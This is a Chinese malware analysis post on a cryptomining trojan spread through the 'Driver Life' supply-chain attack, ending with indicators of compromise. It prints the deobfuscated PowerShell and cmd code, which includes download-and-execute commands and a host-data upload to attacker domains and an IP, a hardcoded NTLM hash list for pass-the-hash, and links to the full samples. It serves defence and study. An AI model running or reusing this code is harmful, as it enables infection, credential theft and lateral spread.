内容简介:360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻
360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……
0x00 事件背景
360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。
pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻击者使用pass the hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击,增加攻击成功率。
0x01 分析研讨
由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。
PS:样本代码过长,遂使用图片截图
0x02 分析过程
解密第一层
病毒样本:
第一个动作,创建一个名为 Certificate
的任务计划,在七点开始,每隔一小时执行一次以下命令:
cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)
由于目前 cert.beahh.com
已经无法访问,所以进行下一个powershell分析环节。
首先, powershell -nop -w hidden -ep bypass -e
后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。
Windows中的powershell执行策略:
PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine Bypass
将后面的base64解密后:
得到如下代码:
while($true) { [System.Threading.Thread]::Sleep(200000); [string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC) $q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream(); $r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##"; $c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r)); iex $c; [System.Threading.Thread]::Sleep(1000000); }
外部是一个循环,将Sleep去除后,可以看到调用了 Invoke-Expression
, Invoke-Expression
是一个能将变量的内容当作powershell表达式执行的函数。
而iex只是 Invoke-Expression
的别名。
下面简单演示几个例子:
PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy" Rvn0xsy PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy Rvn0xsy PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy" Rvn0xsy PS C:\Users\Rvn0xsy>
将上述的木马脚本中iex替换成Write-Host即可:
while($true) { [string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC) $q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream(); $r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##"; $c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r)); Write-Host $c; }
在这里我们使用Windows 10自带的Windows Powershell ISE脚本调试器来进行后续的分析。
解密第二层
很明显,我们看到有 Invoke-Expression
,直接将 Invoke-Expression
改为 Write-Host
进行调试。
解密第三层
现在获得的代码可读性变得非常低了,但是还是有一定规律可循。
在第83行,有一个大小写混合的 Invoke-Expression
:
并且 Invoke-Expression
做左边还有一个管道符,直接将代码改为 | Out-File .\tmp.log
,把结果输出到tmp.log文件中。
解密第四层
第四次好像混淆的更加厉害来,但是不影响我们的分析,先看首行:
. ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....
其中它是以 . (表达式)(表达式)
来执行的,于是我想到了另外一种函数调用的可能:
PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy" Rvn0xsy PS C:\Users\Rvn0xsy>
这样也能执行,所以我判断 . ( $EnV:CoMsPec[4,26,25]-JoIN'')
就是 iex
或者 Invoke-Expression
,我将 . ( $EnV:CoMsPec[4,26,25]-JoIN'')
改为 Write-Host
直接执行:
最终获得了未混淆的代码。
然后,为了验证我的猜想,我把代码进行更改,获得了 Iex
:
. ( $EnV:CoMsPec[4,26,25]-JoIN'')
= Iex
0x03 行为分析
[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av = $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum 100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2 -recurse | Measure-Object -property length -sum).sum if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\ Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell
大致意思就是收集本机的操作系统版本、用户名、MAC地址、杀毒软件写入当前环境变量的 temp\ppp.log
中。
一般是 C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log
然后下载新的powershell文件,到 C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1
中。
下载的URL是:http://172.104.177.202/new.dat?xl
目前ti上未打标签。
再次经过N层解密后,得到如下代码:
大约6000多行
脚本的功能:
1.获得当前用户Hash,读取注册表
2.获得当前系统版本、MAC地址、当前系统所有用户、反病毒软件,尤其是360 Zhudongfangyu服务
3.端口扫描,全量1-65535、445、139都会扫描
4.依赖于445 SMB服务进行传播
其中,常用的Hash和用户名:
[string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")
SMB服务传播代码:
会上传启动项: \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
这个run.bat就是我拿到的种子了。
该木马涵盖了Windows SMB客户端的所有代码,以及哈希传递技术的所有功能。
代码有很多都是采用了Invoke-SMBClient。
优先感染子网:
10. 172. 192.168.
其中在开始横向传播之前,它还会下载一个powershell代码:
但是目前这个域名已经无法访问,无法继续进行跟进。
http://p.beahh.com/upgrade.php?ver=1&mac=
其中在 $bytebase64
中发现了 run.bat
的代码:
0x04 预警与排查方案
172.104.177.202 *.beahh.com Certificate Credentials \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat %appdata%\Microsoft\cred.ps1
最主要就是禁止与 172.104.177.202
进行通信。
下载器样本:https://payloads.online/scripts/2019-02-23-downloader.txt
木马本体(解密后):https://payloads.online/scripts/2019-02-23-res.txt
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Mint木马变种泛滥,伪装“抖音电脑版”肆虐网络
- APT最前线:Sofacy持续发送钓鱼邮件传播木马变种
- 一封钓鱼邮件带来著名的Dridex银行木马最新变种
- 攻防最前线:Danabot木马新变种在意大利大规模传播
- Adwind木马变种使用Microsoft Excel代码注入攻击目标,窃取敏感信息
- KoiMiner挖矿木马变种入侵,超5000台SQL Server服务器被控制
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Algorithms on Strings, Trees and Sequences
Dan Gusfield / Cambridge University Press / 1997-5-28 / USD 99.99
String algorithms are a traditional area of study in computer science. In recent years their importance has grown dramatically with the huge increase of electronically stored text and of molecular seq......一起来看看 《Algorithms on Strings, Trees and Sequences》 这本书的介绍吧!